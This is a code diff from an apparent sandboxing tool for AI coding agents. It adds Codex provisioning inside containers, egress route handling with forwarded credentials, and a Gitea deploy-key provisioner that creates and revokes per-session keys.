||||||
|
)
|
||||||
|
config_file.chmod(0o600)
|
||||||
|
files.append(AgentProvisionFile(config_file, config_path))
|
||||||
|
|
||||||
|
egress_routes: list[EgressRoute] = []
|
||||||
|
for host in CODEX_HOST_CREDENTIAL_HOSTS:
|
||||||
|
egress_routes.append(EgressRoute(
|
||||||
|
host=host,
|
||||||
|
auth_scheme="Bearer" if forward_host_credentials else "",
|
||||||
|
token_ref=CODEX_HOST_CREDENTIAL_TOKEN_REF if forward_host_credentials else "",
|
||||||
|
tls_passthrough=True,
|
||||||
|
))
|
||||||
|
|
||||||
|
if forward_host_credentials:
|
||||||
|
_host_env = host_env or dict(os.environ)
|
||||||
|
provisioned_env[CODEX_HOST_CREDENTIAL_TOKEN_REF] = (
|
||||||
|
codex_host_access_token(_host_env)
|
||||||
|
)
|
||||||
|
auth_file = state_dir / "codex-auth.json"
|
||||||
|
write_codex_dummy_auth_file(auth_file, _host_env)
|
||||||
|
files.append(AgentProvisionFile(auth_file, f"{auth_dir}/auth.json"))
|
||||||
|
pre_copy.append(AgentProvisionCommand((
|
||||||
|
"find", auth_dir,
|
||||||
|
"-maxdepth", "1",
|
||||||
|
"-type", "f",
|
||||||
|
"(",
|
||||||
|
"-name", "*.sqlite",
|
||||||
|
"-o", "-name", "*.sqlite-*",
|
||||||
|
"-o", "-name", "*.codex-repair-*.bak",
|
||||||
|
")",
|
||||||
|
"-delete",
|
||||||
|
), "codex host credentials: could not reset runtime db files"))
|
||||||
|
verify.append(AgentProvisionCommand((
|
||||||
|
"runuser", "-u", "node", "--",
|
||||||
|
"env",
|
||||||
|
f"HOME={guest_home}",
|
||||||
|
f"CODEX_HOME={auth_dir}",
|
||||||
|
"codex", "login", "status",
|
||||||
|
), (
|
||||||
|
"codex host credentials: dummy auth was copied into the "
|
||||||
|
"guest, but Codex did not accept it"
|
||||||
|
)))
|
||||||
|
|
||||||
|
return AgentProvisionPlan(
|
||||||
|
template=_RUNTIME.template,
|
||||||
|
command=_RUNTIME.command,
|
||||||
|
prompt_mode=_RUNTIME.prompt_mode,
|
||||||
|
image=_RUNTIME.image,
|
||||||
|
dockerfile=dockerfile,
|
||||||
|
env_vars=env_vars,
|
||||||
|
guest_env=resolved_guest_env,
|
||||||
|
dirs=tuple(dirs),
|
||||||
|
files=tuple(files),
|
||||||
|
pre_copy=tuple(pre_copy),
|
||||||
|
verify=tuple(verify),
|
||||||
|
egress_routes=tuple(egress_routes),
|
||||||
|
provisioned_env=provisioned_env,
|
||||||
|
)
|
||||||
|
|
||||||
|
def provision_skills(self, plan: "BottlePlan", bottle: "Bottle") -> None:
|
||||||
|
"""Copy each named skill tree from `~/.claude/skills/<name>/`
|
||||||
|
on the host into the guest. No-op when the agent has no
|
||||||
|
skills."""
|
||||||
|
from ...backend.util import host_skill_dir
|
||||||
|
|
||||||
|
agent = plan.spec.manifest.agents[plan.spec.agent_name]
|
||||||
|
if not agent.skills:
|
||||||
|
return
|
||||||
|
skills_dir = _skills_dir(plan.guest_home)
|
||||||
|
bottle.exec(f"mkdir -p {skills_dir}", user="root")
|
||||||
|
for name in agent.skills:
|
||||||
|
src = host_skill_dir(name)
|
||||||
|
if not os.path.isdir(src):
|
||||||
|
die(
|
||||||
|
f"skill {name!r} disappeared from host between "
|
||||||
|
f"validation and copy at {src}."
|
||||||
|
)
|
||||||
|
dst = f"{skills_dir}/{name}"
|
||||||
|
info(f"copying skill {name} into {bottle.name}:{dst}")
|
||||||
|
bottle.exec(f"rm -rf {dst} && mkdir -p {dst}", user="root")
|
||||||
|
bottle.cp_in(f"{src}/.", f"{dst}/")
|
||||||
|
bottle.exec(f"chown -R node:node {dst}", user="root")
|
||||||
|
|
||||||
|
def provision_prompt(self, plan: "BottlePlan", bottle: "Bottle") -> str | None:
|
||||||
|
"""Copy the prompt file into the guest, fix ownership/mode.
|
||||||
|
Codex reads it via the agent's `Read and follow the
|
||||||
|
instructions in <path>.` bootstrap (see `prompt_args`); the
|
||||||
|
file is copied either way so the path always exists."""
|
||||||
|
prompt_path = _prompt_path(plan.guest_home)
|
||||||
|
bottle.cp_in(str(plan.prompt_file), prompt_path) # type: ignore
|
||||||
|
bottle.exec(
|
||||||
|
f"chown node:node {prompt_path} && chmod 600 {prompt_path}",
|
||||||
|
user="root",
|
||||||
|
)
|
||||||
|
agent = plan.spec.manifest.agents[plan.spec.agent_name]
|
||||||
|
return prompt_path if agent.prompt else None
|
||||||
|
|
||||||
|
def provision(self, plan: "BottlePlan", bottle: "Bottle") -> None:
|
||||||
|
"""Apply the codex-side declarative provision steps from
|
||||||
|
`plan.agent_provision`: the `~/.codex/` dir + config.toml
|
||||||
|
trust marker, plus the dummy-auth.json drop + `codex login
|
||||||
|
status` verify when host-credential forwarding is on."""
|
||||||
|
provision = plan.agent_provision
|
||||||
|
for d in provision.dirs:
|
||||||
|
path = shlex.quote(d.guest_path)
|
||||||
|
_exec(bottle, f"mkdir -p {path}", f"could not create {d.guest_path}")
|
||||||
|
_exec(
|
||||||
|
bottle,
|
||||||
|
f"chown {shlex.quote(d.owner)} {path}",
|
||||||
|
f"could not chown {d.guest_path}",
|
||||||
|
)
|
||||||
|
_exec(
|
||||||
|
bottle,
|
||||||
|
f"chmod {shlex.quote(d.mode)} {path}",
|
||||||
|
f"could not chmod {d.guest_path}",
|
||||||
|
)
|
||||||
|
for command in provision.pre_copy:
|
||||||
|
_exec(bottle, shlex.join(command.argv), command.error)
|
||||||
|
for f in provision.files:
|
||||||
|
bottle.cp_in(str(f.host_path), f.guest_path)
|
||||||
|
path = shlex.quote(f.guest_path)
|
||||||
|
_exec(
|
||||||
|
bottle,
|
||||||
|
f"chown {shlex.quote(f.owner)} {path}",
|
||||||
|
f"could not chown {f.guest_path}",
|
||||||
|
)
|
||||||
|
_exec(
|
||||||
|
bottle,
|
||||||
|
f"chmod {shlex.quote(f.mode)} {path}",
|
||||||
|
f"could not chmod {f.guest_path}",
|
||||||
|
)
|
||||||
|
for command in provision.verify:
|
||||||
|
_exec(bottle, shlex.join(command.argv), command.error)
|
||||||
|
|
||||||
|
def provision_supervise_mcp(
|
||||||
|
self,
|
||||||
|
plan: "BottlePlan",
|
||||||
|
bottle: "Bottle",
|
||||||
|
supervise_url: str,
|
||||||
|
) -> None:
|
||||||
|
"""Run `codex mcp add` inside the agent guest to register the
|
||||||
|
supervise sidecar in Codex's user config (~/.codex/config.toml).
|
||||||
|
|
||||||
|
Mirrors the Claude provider's `claude mcp add` flow — failure
|
||||||
|
is logged but not fatal."""
|
||||||
|
if plan.supervise_plan is None:
|
||||||
|
return
|
||||||
|
info(f"registering supervise MCP server in agent codex config → {supervise_url}")
|
||||||
|
r = bottle.exec(
|
||||||
|
f"codex mcp add --transport http "
|
||||||
|
f"{_SUPERVISE_MCP_NAME} {supervise_url}",
|
||||||
|
user="node",
|
||||||
|
)
|
||||||
|
if r.returncode != 0:
|
||||||
|
warn(
|
||||||
|
f"`codex mcp add supervise` failed (exit {r.returncode}): "
|
||||||
|
f"{(r.stderr or r.stdout or '').strip()}. Inside the bottle, "
|
||||||
|
f"register manually with: "
|
||||||
|
f"codex mcp add --transport http supervise {supervise_url}"
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
def _exec(bottle: "Bottle", script: str, error: str) -> None:
|
||||||
|
result = bottle.exec(script, user="root")
|
||||||
|
if result.returncode != 0:
|
||||||
|
detail = (result.stderr or result.stdout).strip()
|
||||||
|
if detail:
|
||||||
|
detail = f": {detail}"
|
||||||
|
die(f"agent provider provisioning: {error}{detail}")
|
||||||
@@ -0,0 +1,121 @@
|
|||||||
|
"""Gitea deploy-key provisioner (PRD 0048, contrib).
|
||||||
|
|
||||||
|
Generates ed25519 keypairs via `ssh-keygen` and registers / deletes
|
||||||
|
them using the Gitea deploy-key HTTP API. No new Python dependencies —
|
||||||
|
only stdlib `urllib.request` and `subprocess`."""
|
||||||
|
|
||||||
|
from __future__ import annotations
|
||||||
|
|
||||||
|
import json
|
||||||
|
import subprocess
|
||||||
|
import tempfile
|
||||||
|
import urllib.error
|
||||||
|
import urllib.request
|
||||||
|
from pathlib import Path
|
||||||
|
|
||||||
|
from ...deploy_key_provisioner import DeployKeyProvisioner
|
||||||
|
|
||||||
|
|
||||||
|
class GiteaDeployKeyProvisioner(DeployKeyProvisioner):
|
||||||
|
"""Manages deploy keys on a Gitea instance."""
|
||||||
|
|
||||||
|
def __init__(self, *, token: str, api_url: str) -> None:
|
||||||
|
self._token = token
|
||||||
|
self._api_url = api_url.rstrip("/")
|
||||||
|
|
||||||
|
def create(self, owner_repo: str, title: str) -> tuple[str, bytes]:
|
||||||
|
"""Generate an ed25519 keypair, register the public half as a
|
||||||
|
repo deploy key, and return `(key_id, private_key_bytes)`.
|
||||||
|
|
||||||
|
The key is registered with `read_only=False` because git-gate
|
||||||
|
needs push access to forward gitleaks-scanned refs upstream."""
|
||||||
|
with tempfile.TemporaryDirectory() as tmpdir:
|
||||||
|
key_path = Path(tmpdir) / "key"
|
||||||
|
subprocess.run(
|
||||||
|
[
|
||||||
|
"ssh-keygen", "-t", "ed25519",
|
||||||
|
"-f", str(key_path),
|
||||||
|
"-N", "",
|
||||||
|
],
|
||||||
|
check=True,
|
||||||
|
stdout=subprocess.DEVNULL,
|
||||||
|
stderr=subprocess.DEVNULL,
|
||||||
|
)
|
||||||
|
private_key = key_path.read_bytes()
|
||||||
|
public_key = key_path.with_suffix(".pub").read_text().strip()
|
||||||
|
|
||||||
|
owner, repo = _split_owner_repo(owner_repo)
|
||||||
|
url = f"{self._api_url}/api/v1/repos/{owner}/{repo}/keys"
|
||||||
|
payload = json.dumps({
|
||||||
|
"key": public_key,
|
||||||
|
"read_only": False,
|
||||||
|
"title": title,
|
||||||
|
}).encode()
|
||||||
|
req = urllib.request.Request(
|
||||||
|
url,
|
||||||
|
data=payload,
|
||||||
|
headers={
|
||||||
|
"Authorization": f"token {self._token}",
|
||||||
|
"Content-Type": "application/json",
|
||||||
|
},
|
||||||
|
method="POST",
|
||||||
|
)
|
||||||
|
try:
|
||||||
|
with urllib.request.urlopen(req) as resp:
|
||||||
|
body = json.loads(resp.read())
|
||||||
|
except urllib.error.HTTPError as exc:
|
||||||
|
_body = _read_error_body(exc)
|
||||||
|
raise RuntimeError(
|
||||||
|
f"failed to create deploy key for {owner_repo}: "
|
||||||
|
f"HTTP {exc.code} — {_body}"
|
||||||
|
) from exc
|
||||||
|
except urllib.error.URLError as exc:
|
||||||
|
raise RuntimeError(
|
||||||
|
f"failed to create deploy key for {owner_repo}: {exc.reason}"
|
||||||
|
) from exc
|
||||||
|
|
||||||
|
return str(body["id"]), private_key
|
||||||
|
|
||||||
|
def delete(self, owner_repo: str, key_id: str) -> None:
|
||||||
|
"""Delete the deploy key. HTTP 404 (already gone) is success.
|
||||||
|
All other errors raise RuntimeError so teardown halts."""
|
||||||
|
owner, repo = _split_owner_repo(owner_repo)
|
||||||
|
url = f"{self._api_url}/api/v1/repos/{owner}/{repo}/keys/{key_id}"
|
||||||
|
req = urllib.request.Request(
|
||||||
|
url,
|
||||||
|
headers={"Authorization": f"token {self._token}"},
|
||||||
|
method="DELETE",
|
||||||
|
)
|
||||||
|
try:
|
||||||
|
with urllib.request.urlopen(req):
|
||||||
|
pass
|
||||||
|
except urllib.error.HTTPError as exc:
|
||||||
|
if exc.code == 404:
|
||||||
|
return
|
||||||
|
_body = _read_error_body(exc)
|
||||||
|
raise RuntimeError(
|
||||||
|
f"failed to delete deploy key {key_id} for {owner_repo}: "
|
||||||
|
f"HTTP {exc.code} — {_body}"
|
||||||
|
) from exc
|
||||||
|
except urllib.error.URLError as exc:
|
||||||
|
raise RuntimeError(
|
||||||
|
f"failed to delete deploy key {key_id} for {owner_repo}: "
|
||||||
|
f"{exc.reason}"
|
||||||
|
) from exc
|
||||||
|
|
||||||
|
|
||||||
|
def _split_owner_repo(owner_repo: str) -> tuple[str, str]:
|
||||||
|
"""Split `'owner/repo'` into `('owner', 'repo')`."""
|
||||||
|
parts = owner_repo.split("/", 1)
|
||||||
|
if len(parts) != 2 or not all(parts):
|
||||||
|
raise ValueError(
|
||||||
|
f"expected 'owner/repo' format, got {owner_repo!r}"
|
||||||
|
)
|
||||||
|
return parts[0], parts[1]
|
||||||
|
|
||||||
|
|
||||||
|
def _read_error_body(exc: urllib.error.HTTPError) -> str:
|
||||||
|
try:
|
||||||
|
return exc.read().decode("utf-8", errors="replace")
|
||||||
|
except Exception: # noqa: broad-exception-caught — safely fallback to empty error message
|
||||||
|
return ""
|
||||||
@@ -0,0 +1,52 @@
|
|||||||
|
"""Deploy-key provisioner interface and factory (PRD 0048).
|
||||||
|
|
||||||
|
The core defines the abstract contract; concrete implementations live
|
||||||
|
in `bot_bottle/contrib/<provider>/deploy_key_provisioner.py`. The
|
||||||
|
factory `get_provisioner` imports contrib modules lazily so that a
|
||||||
|
missing optional dependency in one provider doesn't break unrelated
|
||||||
|
features."""
|
||||||
|
|
||||||
|
from __future__ import annotations
|
||||||
|
|
||||||
|
from abc import ABC, abstractmethod
|
||||||
|
|
||||||
|
|
||||||
|
class DeployKeyProvisioner(ABC):
|
||||||
|
"""Manages a single deploy-key lifecycle on a remote forge."""
|
||||||
|
|
||||||
|
@abstractmethod
|
||||||
|
def create(self, owner_repo: str, title: str) -> tuple[str, bytes]:
|
||||||
|
"""Generate a keypair and register the public half as a
|
||||||
|
deploy key on the forge.
|
||||||
|
|
||||||
|
`owner_repo` is the `<owner>/<repo>` path (no `.git` suffix).
|
||||||
|
`title` is the human-readable label shown in the forge UI.
|
||||||
|
|
||||||
|
Returns `(key_id, private_key_bytes)` where `key_id` is opaque
|
||||||
|
to the caller and is only ever passed back to `delete`."""
|
||||||
|
|
||||||
|
@abstractmethod
|
||||||
|
def delete(self, owner_repo: str, key_id: str) -> None:
|
||||||
|
"""Delete the registered deploy key.
|
||||||
|
|
||||||
|
Must not raise if the key is already absent (HTTP 404 is
|
||||||
|
success). Must raise for all other failures so teardown halts."""
|
||||||
|
|
||||||
|
|
||||||
|
def get_provisioner(
|
||||||
|
provider: str, token: str, api_url: str
|
||||||
|
) -> DeployKeyProvisioner:
|
||||||
|
"""Instantiate the contrib provisioner for `provider`.
|
||||||
|
|
||||||
|
Raises `ManifestError` for unknown providers so the error surfaces
|
||||||
|
at parse time rather than at runtime."""
|
||||||
|
if provider == "gitea":
|
||||||
|
from bot_bottle.contrib.gitea.deploy_key_provisioner import (
|
||||||
|
GiteaDeployKeyProvisioner,
|
||||||
|
)
|
||||||
|
return GiteaDeployKeyProvisioner(token=token, api_url=api_url)
|
||||||
|
from .manifest_util import ManifestError
|
||||||
|
raise ManifestError(
|
||||||
|
f"unknown provisioned_key provider: {provider!r}; "
|
||||||
|
f"available: gitea"
|
||||||
|
)
|
||||||
@@ -25,7 +25,7 @@ flow (PRD 0014) at egress and renames the MCP tool.
|
|||||||
from __future__ import annotations
|
from __future__ import annotations
|
||||||
|
|
||||||
import dataclasses
|
import dataclasses
|
||||||
from abc import ABC, abstractmethod
|
from abc import ABC
|
||||||
from dataclasses import dataclass
|
from dataclasses import dataclass
|
||||||
from pathlib import Path
|
from pathlib import Path
|
||||||
from typing import TYPE_CHECKING
|
from typing import TYPE_CHECKING
|
||||||
@@ -141,13 +141,15 @@ def egress_manifest_routes(
|
|||||||
routes are merged."""
|
routes are merged."""
|
||||||
out: list[EgressRoute] = []
|
out: list[EgressRoute] = []
|
||||||
for r in bottle.egress.routes:
|
for r in bottle.egress.routes:
|
||||||
|
tls_pt = r.Pipelock.Config.get("tls_passthrough", False)
|
||||||
|
tls_passthrough = tls_pt if isinstance(tls_pt, bool) else False
|
||||||
out.append(EgressRoute(
|
out.append(EgressRoute(
|
||||||
host=r.Host,
|
host=r.Host,
|
||||||
path_allowlist=r.PathAllowlist,
|
path_allowlist=r.PathAllowlist,
|
||||||
auth_scheme=r.AuthScheme,
|
auth_scheme=r.AuthScheme,
|
||||||
token_ref=r.TokenRef,
|
token_ref=r.TokenRef,
|
||||||
roles=r.Role,
|
roles=r.Role,
|
||||||
tls_passthrough=r.Pipelock.TlsPassthrough,
|
tls_passthrough=tls_passthrough,
|
||||||
))
|
))
|
||||||
return tuple(out)
|
return tuple(out)
|
||||||
|
|
||||||
@@ -216,14 +218,14 @@ def egress_token_env_map(
|
|||||||
return out
|
return out
|
||||||
|
|
||||||
|
|
||||||
def _route_to_yaml_fields(r: Route) -> dict:
|
def _route_to_yaml_fields(r: Route) -> dict[str, object]:
|
||||||
"""Return the addon-visible fields for one route.
|
"""Return the addon-visible fields for one route.
|
||||||
|
|
||||||
Single authoritative mapping between EgressRoute (host-side) and
|
Single authoritative mapping between EgressRoute (host-side) and
|
||||||
egress_addon_core.Route (sidecar-side). When a field is added to
|
egress_addon_core.Route (sidecar-side). When a field is added to
|
||||||
the addon's Route that must appear in the YAML, add it here and
|
the addon's Route that must appear in the YAML, add it here and
|
||||||
in egress_addon_core._parse_one together."""
|
in egress_addon_core._parse_one together."""
|
||||||
fields: dict = {"host": r.host}
|
fields: dict[str, object] = {"host": r.host}
|
||||||
if r.auth_scheme and r.token_env:
|
if r.auth_scheme and r.token_env:
|
||||||
fields["auth_scheme"] = r.auth_scheme
|
fields["auth_scheme"] = r.auth_scheme
|
||||||
fields["token_env"] = r.token_env
|
fields["token_env"] = r.token_env
|
||||||
@@ -252,7 +254,7 @@ def egress_render_routes(
|
|||||||
lines.append(f' token_env: "{f["token_env"]}"')
|
lines.append(f' token_env: "{f["token_env"]}"')
|
||||||
if "path_allowlist" in f:
|
if "path_allowlist" in f:
|
||||||
lines.append(" path_allowlist:")
|
lines.append(" path_allowlist:")
|
||||||
for p in f["path_allowlist"]:
|
for p in f["path_allowlist"]: # type: ignore
|
||||||
lines.append(f' - "{p}"')
|
lines.append(f' - "{p}"')
|
||||||
return "\n".join(lines) + "\n"
|
return "\n".join(lines) + "\n"
|
||||||
|
|
||||||
|
|||||||
@@ -38,7 +38,12 @@ from mitmproxy import http # type: ignore[import-not-found]
|
|||||||
# Absolute import (NOT `from .egress_addon_core`) — the
|
# Absolute import (NOT `from .egress_addon_core`) — the
|
||||||
# container drops both files flat into /app/ so they are sibling
|
# container drops both files flat into /app/ so they are sibling
|
||||||
# top-level modules to mitmdump's loader, not a package.
|
# top-level modules to mitmdump's loader, not a package.
|
||||||
from egress_addon_core import Route, decide, is_git_push_request, load_routes # type: ignore[import-not-found]
|
from egress_addon_core import ( # type: ignore[import-not-found]
|
||||||
|
Route,
|
||||||
|
decide,
|
||||||
|
is_git_push_request,
|
||||||
|
load_routes,
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
DEFAULT_ROUTES_PATH = "/etc/egress/routes.yaml"
|
DEFAULT_ROUTES_PATH = "/etc/egress/routes.yaml"
|
||||||
|
|||||||
@@ -78,11 +78,13 @@ def parse_routes(payload: object) -> tuple[Route, ...]:
|
|||||||
"""
|
"""
|
||||||
if not isinstance(payload, dict):
|
if not isinstance(payload, dict):
|
||||||
raise ValueError("routes payload: top-level must be an object")
|
raise ValueError("routes payload: top-level must be an object")
|
||||||
raw = payload.get("routes")
|
payload_dict: dict[str, object] = typing.cast(dict[str, object], payload)
|
||||||
|
raw: object = payload_dict.get("routes")
|
||||||
if not isinstance(raw, list):
|
if not isinstance(raw, list):
|
||||||
raise ValueError("routes payload: 'routes' must be a list")
|
raise ValueError("routes payload: 'routes' must be a list")
|
||||||
|
raw_list: list[object] = typing.cast(list[object], raw)
|
||||||
out: list[Route] = []
|
out: list[Route] = []
|
||||||
for i, r in enumerate(raw):
|
for i, r in enumerate(raw_list):
|
||||||
out.append(_parse_one(i, r))
|
out.append(_parse_one(i, r))
|
||||||
return tuple(out)
|
return tuple(out)
|
||||||
|
|
||||||
@@ -91,15 +93,17 @@ def _parse_one(idx: int, raw: object) -> Route:
|
|||||||
label = f"route[{idx}]"
|
label = f"route[{idx}]"
|
||||||
if not isinstance(raw, dict):
|
if not isinstance(raw, dict):
|
||||||
raise ValueError(f"{label}: must be an object (got {type(raw).__name__})")
|
raise ValueError(f"{label}: must be an object (got {type(raw).__name__})")
|
||||||
host = raw.get("host")
|
raw_dict: dict[str, object] = typing.cast(dict[str, object], raw)
|
||||||
|
host: object = raw_dict.get("host")
|
||||||
if not isinstance(host, str) or not host:
|
if not isinstance(host, str) or not host:
|
||||||
raise ValueError(f"{label}: 'host' must be a non-empty string")
|
raise ValueError(f"{label}: 'host' must be a non-empty string")
|
||||||
|
|
||||||
path_allow_raw = raw.get("path_allowlist", [])
|
path_allow_raw: object = raw_dict.get("path_allowlist", [])
|
||||||
if not isinstance(path_allow_raw, list):
|
if not isinstance(path_allow_raw, list):
|
||||||
raise ValueError(f"{label} ({host}): 'path_allowlist' must be a list")
|
raise ValueError(f"{label} ({host}): 'path_allowlist' must be a list")
|
||||||
|
path_allow_list: list[object] = typing.cast(list[object], path_allow_raw)
|
||||||
prefixes: list[str] = []
|
prefixes: list[str] = []
|
||||||
for j, p in enumerate(path_allow_raw):
|
for j, p in enumerate(path_allow_list):
|
||||||
if not isinstance(p, str):
|
if not isinstance(p, str):
|
||||||
raise ValueError(
|
raise ValueError(
|
||||||
f"{label} ({host}): path_allowlist[{j}] must be a string"
|
f"{label} ({host}): path_allowlist[{j}] must be a string"
|
||||||
@@ -111,8 +115,8 @@ def _parse_one(idx: int, raw: object) -> Route:
|
|||||||
)
|
)
|
||||||
prefixes.append(p)
|
prefixes.append(p)
|
||||||
|
|
||||||
auth_scheme = raw.get("auth_scheme", "")
|
auth_scheme: object = raw_dict.get("auth_scheme", "")
|
||||||
token_env = raw.get("token_env", "")
|
token_env: object = raw_dict.get("token_env", "")
|
||||||
if not isinstance(auth_scheme, str):
|
if not isinstance(auth_scheme, str):
|
||||||
raise ValueError(f"{label} ({host}): 'auth_scheme' must be a string")
|
raise ValueError(f"{label} ({host}): 'auth_scheme' must be a string")
|
||||||
if not isinstance(token_env, str):
|
if not isinstance(token_env, str):
|
||||||
|
|||||||
+1
-1
@@ -89,7 +89,7 @@ def _read_secret_silent(name: str, prompt_body: str) -> str:
|
|||||||
if not (sys.stdin.isatty() or sys.stderr.isatty()):
|
if not (sys.stdin.isatty() or sys.stderr.isatty()):
|
||||||
# Fall back to /dev/tty so this still works when stdin is a pipe.
|
# Fall back to /dev/tty so this still works when stdin is a pipe.
|
||||||
try:
|
try:
|
||||||
tty = open("/dev/tty", "r+")
|
tty = open("/dev/tty", "r+", encoding="utf-8")
|
||||||
except OSError:
|
except OSError:
|
||||||
die(
|
die(
|
||||||
f"cannot prompt for secret '{name}': no tty available. "
|
f"cannot prompt for secret '{name}': no tty available. "
|
||||||
|
|||||||
+90
-2
@@ -29,11 +29,14 @@ backend-specific and lives on concrete subclasses (see
|
|||||||
|
|
||||||
from __future__ import annotations
|
from __future__ import annotations
|
||||||
|
|
||||||
|
import dataclasses
|
||||||
|
import os
|
||||||
import shlex
|
import shlex
|
||||||
from abc import ABC, abstractmethod
|
from abc import ABC
|
||||||
from dataclasses import dataclass
|
from dataclasses import dataclass
|
||||||
from pathlib import Path
|
from pathlib import Path
|
||||||
|
|
||||||
|
from .log import info
|
||||||
from .manifest import Bottle, GitEntry
|
from .manifest import Bottle, GitEntry
|
||||||
|
|
||||||
|
|
||||||
@@ -357,6 +360,80 @@ exit 0
|
|||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
def _provision_dynamic_key(
|
||||||
|
entry: GitEntry,
|
||||||
|
slug: str,
|
||||||
|
stage_dir: Path,
|
||||||
|
) -> str:
|
||||||
|
"""Generate a fresh ed25519 keypair, register the public half with
|
||||||
|
the forge, and persist the private key + key ID under `stage_dir`.
|
||||||
|
|
||||||
|
Returns the host-side path to the private key file so the caller
|
||||||
|
can inject it into the GitGateUpstream as `identity_file`."""
|
||||||
|
from .deploy_key_provisioner import get_provisioner
|
||||||
|
pk = entry.ProvisionedKey
|
||||||
|
assert pk is not None
|
||||||
|
token = os.environ.get(pk.token_env)
|
||||||
|
if token is None:
|
||||||
|
raise RuntimeError(
|
||||||
|
f"git-gate.repos[{entry.Name!r}] provisioned_key.token_env"
|
||||||
|
f" = {pk.token_env!r}: env var is not set"
|
||||||
|
)
|
||||||
|
api_url = pk.api_url or f"https://{entry.UpstreamHost}"
|
||||||
|
provisioner = get_provisioner(pk.provider, token, api_url)
|
||||||
|
|
||||||
|
owner_repo = entry.UpstreamPath
|
||||||
|
if owner_repo.endswith(".git"):
|
||||||
|
owner_repo = owner_repo[:-4]
|
||||||
|
title = f"bot-bottle:{slug}:{entry.Name}"
|
||||||
|
|
||||||
|
info(f"provisioning deploy key for git-gate.repos[{entry.Name!r}]")
|
||||||
|
key_id, private_key_bytes = provisioner.create(owner_repo, title)
|
||||||
|
|
||||||
|
key_file = stage_dir / f"{entry.Name}-key"
|
||||||
|
key_file.write_bytes(private_key_bytes)
|
||||||
|
key_file.chmod(0o600)
|
||||||
|
|
||||||
|
id_file = stage_dir / f"{entry.Name}-deploy-key-id"
|
||||||
|
id_file.write_text(key_id)
|
||||||
|
id_file.chmod(0o600)
|
||||||
|
|
||||||
|
info(f"provisioned deploy key {key_id} for git-gate.repos[{entry.Name!r}]")
|
||||||
|
return str(key_file)
|
||||||
|
|
||||||
|
|
||||||
|
def revoke_git_gate_provisioned_keys(bottle: Bottle, stage_dir: Path) -> None:
|
||||||
|
"""Revoke all deploy keys provisioned for `bottle` during prepare.
|
||||||
|
|
||||||
|
Called at teardown after containers stop. Raises if any revocation
|
||||||
|
fails — a stranded key is a security concern that the operator must
|
||||||
|
address manually."""
|
||||||
|
from .deploy_key_provisioner import get_provisioner
|
||||||
|
for entry in bottle.git:
|
||||||
|
if entry.ProvisionedKey is None:
|
||||||
|
continue
|
||||||
|
pk = entry.ProvisionedKey
|
||||||
|
id_file = stage_dir / f"{entry.Name}-deploy-key-id"
|
||||||
|
if not id_file.exists():
|
||||||
|
continue
|
||||||
|
key_id = id_file.read_text().strip()
|
||||||
|
token = os.environ.get(pk.token_env)
|
||||||
|
if token is None:
|
||||||
|
raise RuntimeError(
|
||||||
|
f"git-gate.repos[{entry.Name!r}] provisioned_key.token_env"
|
||||||
|
f" = {pk.token_env!r}: env var is not set;"
|
||||||
|
f" cannot revoke deploy key {key_id}"
|
||||||
|
)
|
||||||
|
api_url = pk.api_url or f"https://{entry.UpstreamHost}"
|
||||||
|
provisioner = get_provisioner(pk.provider, token, api_url)
|
||||||
|
owner_repo = entry.UpstreamPath
|
||||||
|
if owner_repo.endswith(".git"):
|
||||||
|
owner_repo = owner_repo[:-4]
|
||||||
|
info(f"revoking deploy key {key_id} for git-gate.repos[{entry.Name!r}]")
|
||||||
|
provisioner.delete(owner_repo, key_id)
|
||||||
|
info(f"revoked deploy key {key_id} for git-gate.repos[{entry.Name!r}]")
|
||||||
|
|
||||||
|
|
||||||
class GitGate(ABC):
|
class GitGate(ABC):
|
||||||
"""The per-agent git-gate. Encapsulates the host-side prepare
|
"""The per-agent git-gate. Encapsulates the host-side prepare
|
||||||
(upstream lift + entrypoint/hook render); the sidecar's
|
(upstream lift + entrypoint/hook render); the sidecar's
|
||||||
@@ -368,10 +445,21 @@ class GitGate(ABC):
|
|||||||
entrypoint, pre-receive hook, and access-hook scripts (mode
|
entrypoint, pre-receive hook, and access-hook scripts (mode
|
||||||
600) under `stage_dir`. Pure host-side, no docker subprocess.
|
600) under `stage_dir`. Pure host-side, no docker subprocess.
|
||||||
|
|
||||||
|
For `provisioned_key` entries, also generates and registers
|
||||||
|
a fresh deploy key via the forge API and writes the private key
|
||||||
|
+ key ID to `stage_dir`.
|
||||||
|
|
||||||
Returned plan is incomplete: the launch step must fill
|
Returned plan is incomplete: the launch step must fill
|
||||||
`internal_network` / `egress_network` via `dataclasses.replace`
|
`internal_network` / `egress_network` via `dataclasses.replace`
|
||||||
before passing the plan to `.start`."""
|
before passing the plan to `.start`."""
|
||||||
upstreams = git_gate_upstreams_for_bottle(bottle)
|
upstreams_list = list(git_gate_upstreams_for_bottle(bottle))
|
||||||
|
for i, entry in enumerate(bottle.git):
|
||||||
|
if entry.ProvisionedKey is not None:
|
||||||
|
key_file = _provision_dynamic_key(entry, slug, stage_dir)
|
||||||
|
upstreams_list[i] = dataclasses.replace(
|
||||||
|
upstreams_list[i], identity_file=key_file
|
||||||
|
)
|
||||||
|
upstreams = tuple(upstreams_list)
|
||||||
entrypoint = stage_dir / "git_gate_entrypoint.sh"
|
entrypoint = stage_dir / "git_gate_entrypoint.sh"
|
||||||
entrypoint.write_text(git_gate_render_entrypoint(upstreams))
|
entrypoint.write_text(git_gate_render_entrypoint(upstreams))
|
||||||
entrypoint.chmod(0o600)
|
entrypoint.chmod(0o600)
|
||||||
|
|||||||
@@ -78,8 +78,8 @@ class GitHttpHandler(BaseHTTPRequestHandler):
|
|||||||
"REMOTE_ADDR": self.client_address[0],
|
"REMOTE_ADDR": self.client_address[0],
|
||||||
"REMOTE_PORT": str(self.client_address[1]),
|
"REMOTE_PORT": str(self.client_address[1]),
|
||||||
"REMOTE_USER": "",
|
"REMOTE_USER": "",
|
||||||
"SERVER_NAME": self.server.server_name,
|
"SERVER_NAME": self.server.server_name, # type: ignore
|
||||||
"SERVER_PORT": str(self.server.server_port),
|
"SERVER_PORT": str(self.server.server_port), # type: ignore
|
||||||
"SERVER_PROTOCOL": self.request_version,
|
"SERVER_PROTOCOL": self.request_version,
|
||||||
})
|
})
|
||||||
for header, variable in (
|
for header, variable in (
|
||||||
@@ -157,8 +157,8 @@ class GitHttpHandler(BaseHTTPRequestHandler):
|
|||||||
self.end_headers()
|
self.end_headers()
|
||||||
self.wfile.write(body)
|
self.wfile.write(body)
|
||||||
